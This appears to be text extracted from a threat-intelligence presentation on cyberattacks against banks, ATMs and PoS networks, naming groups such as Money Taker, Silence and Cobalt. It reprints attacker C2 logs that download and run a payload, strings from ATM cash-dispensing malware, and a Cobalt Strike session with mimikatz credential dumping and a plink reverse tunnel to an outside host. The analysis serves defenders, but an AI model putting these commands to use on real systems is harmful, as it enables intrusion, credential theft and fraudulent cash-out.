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Azerbaijan case 
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«Как украсть» 
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КОРР. СЧЕТ БАНКОМАТ ПРОЦЕССИНГ PoS-ТЕРМИНАЛ 
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«Большая тройка» 
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Money Taker 
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Silence 
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C:\ProgramData 
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2019-01-15 06:15:14.2929 | INFO | ServerUi.App | Application initializing. Current UI version ServerUi, Version=1.0.6954.28704, Culture=neutral, 
PublicKeyToken=null 
 Core assembly version is Common, Version=1.0.6954.28703, Culture=neutral, PublicKeyToken=null 
2019-01-15 06:15:16.9023 | INFO | ServerUi.App | Path  to files To client is C:\Users\Administrator\Desktop\Release\ToClientFiles 
2019-01-15 06:15:16.9062 | INFO |  | Start listening http://*:8080/ 
2019-01-15 06:15:16.9062 | INFO |  | Start listening http://*:80/ 
2019-01-15 06:15:16.9062 | TRACE |  | Core initialized 
... 
2019-01-15 23:22:00.9228 | INFO |  | Download file from http://185.xx.xx.42/0data.bmp to c:\intel\run.exe on botId: 131920******062500 
2019-01-15 23:22:01.9072 | INFO |  | Next command to bot ID:131920******062500 action: DownloadFile. 
2019-01-15 23:22:01.9853 | INFO |  | Request file transfer: 0data.bmp from ip: 95.xx.xx.18. 
2019-01-15 23:22:07.6074 | INFO |  | Next command to bot ID:131920******062500 action: SendResponse. 
... 
2019-01-15 23:32:26.9375 | INFO |  | New bot initialized Id=131920******375000 from ip=217.xx.xx.93 
2019-01-15 23:32:26.9375 | INFO |  | Next command to bot ID:131920******375000 action: InitializeNewClient. 
... 
2019-01-15 23:34:32.5390 | INFO |  | Next command to bot ID:131920******375000 action: OpenShell. 
2019-01-15 23:34:44.4765 | INFO |  | Next command to bot ID:131920******375000 action: SetAutorun. 
2019-01-15 23:34:49.5400 | INFO |  | Next command to bot ID:131920******375000 action: SendResponse. 
… 
2019-01-15 22:51:18.9062 | INFO |  | New bot initialized Id=131920******062500 from ip=95.xx.xx.18 

CyS Centrum 26 



--exchange 
%d:[%d] 
BIN0 
BIN1 
BIN2 
BIN3 
BIN4 
CashDispenser 
CDM30 
Changing cashunit infos 
chosen %d | %d 
Connected Diabold. 
Connected GENERIC. 
Connected Nautilus. 
Connected Nautilus2. 
Connected NCR. 
Connected WINCOR. 
CurrencyDispenser1 
DBD_AdvFuncDisp 
Disconnecting... 
Connected. Version: wfs:%d.%d, srvc:%d.%d, spi:%d.%d 
Connecting... 
C:\_bkittest\dispenser\Release_noToken\dispenserXFS.pdb 
C:\xfsasdf.txt 

Error connecting: %p 
Error dispensing 0x%08X 
Error ending exchange 0x%08X 
Error getting bill status: 0x%p. 
Error getting cashunit info: 0x%p. 
Error getting cdm status: 0x%p. 
Error getting maxbill: %p 
Error locking XFS 
Error setting cashunit info: 0x%p. 
Error starting exchange 0x%08X 
Error starting WFS: %p 
Exchanged units 
Exchanged units to null 
Exchanging cashunits 
Getting billcount. 
Getting cashunit infos 
Getting CashUnitStatus 
GettingCDMStatus. 

Global\%08X%08X 
Id:%s(nr=%d)(l=%d,h=%d), %d|%d|%d of %d [%s][%d][%d],[%d] 
Id:%s(nr=%d)(l=%d,h=%d), %d|%d|%d of %d [%s][%d][%d],[%d][%d] 
Injected mxsfs killer into %d. 
maxbill = %d 
msxfs.dll 
No denominations found 
No msxfs installed... 
NO_TOKEN 
nxcdm 
NXCdm 
pos=%d, OutputPosition=%d, shutter=%d, transport=%d 
pos=%d, status=%d, shutter=%d, transport=%d, status=%d 
psapi.dll 
REJCT 
REJCT    
Resetting CDM. 
RET   
RSDS 
Set cashunit infos 
Setting cashunit infos 
Starting WFSManager... 
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Cobalt 
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Download + Decrypt + Run 
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FIN[6,7] 
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[metadata] 69.xx.xx.202 <- 172.18.147.124; computer: 76642-POS02; user: SYSTEM *; pid: 3192; os: Windows; version: 6.1; beacon arch: x86 
 
[input] <hacker> shell dsquery * -filter "(&(objectcategory=computer)(dnshostname=*POS*))" -attr dNSHostName distinguishedName 
description operatingSystem operatingSystemServicePack -limit 0 
[output] 
dNSHostName description   operatingSystem ServicePack   
BWD-POS1  CN=BWD-POS1,OU=Computers Windows 7 Professional Service Pack 1               
SBWD-POS3  CN=SBWD-POS3,OU=Computers Windows 7 Professional Service Pack 1               
SBWD-POS4  CN=SBWD-POS4,OU=Computers Windows 7 Professional Service Pack 1               
...... 
[task] Tasked beacon to run: pings 10.201.1.1 10.201.2.1 
[output] Pinging 257 Adresses ..... 
   ___________________________________________ 
  |                       |                              |                         |  
  |    IP Adress   |    Hostname          |    Reply_Time   | 
  |____________|________________|______________| 
  |   10.201.1.10    |   cbwd-jharan       |        1                | 
  |  10.201.1.100   |DCORP-GC-100      |        0               | 
  |  10.201.1.105   | DCORP-FSRV-105  |        1                | 
  |  10.201.1.111     | DCORP-VMHST-111  |        1                | 
  |____________|_________________|_____________| 
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[task] Tasked beacon to run mimikatz's sekurlsa::logonpasswords command 
... 
 * Username : ******WORKS$ 
 * Domain   : ***-POS 
 * Password : ]rD!jojFD[./PeGxFiZJ /Gd>*2n7+Bd7)P]#obV.#([QZsLgsRHgjNiGw(y4dr(2Ak/)]-
8Bl9$?Z28&PZ)ETT,YoZPaWzOk5tT#5P_Z6)q_"'&OK>q*jQh 
... 
[task] Tasked beacon to upload C:\Users\Administrator\Downloads\2019-01-31__dns10__x32-only\installer_8.exe as 
C:\Windows\system32\0409\installer_8.exe 
[task] Tasked beacon to execute: C:\Windows\system32\0409\installer_8.exe 
... 
[task] Tasked beacon to run: plink_novrfy.exe -batch -P 22 -N -v -R 18556:localhost:3389 root@<ip> -pw  <pwd> 
[output] 
Connecting to <ip> port 22 
Server version: SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.11 
Doing Diffie-Hellman key exchange with hash SHA-256 
ssh-rsa 2048 55:xx:xx:xx:xx:xx:xx:xx:5a:63:xx:fa:a5:94:9f:79 
Using username "root". 
Access granted 
Requesting remote port 18556 forward to localhost:3389 
Remote port forwarding from 18556 enabled 
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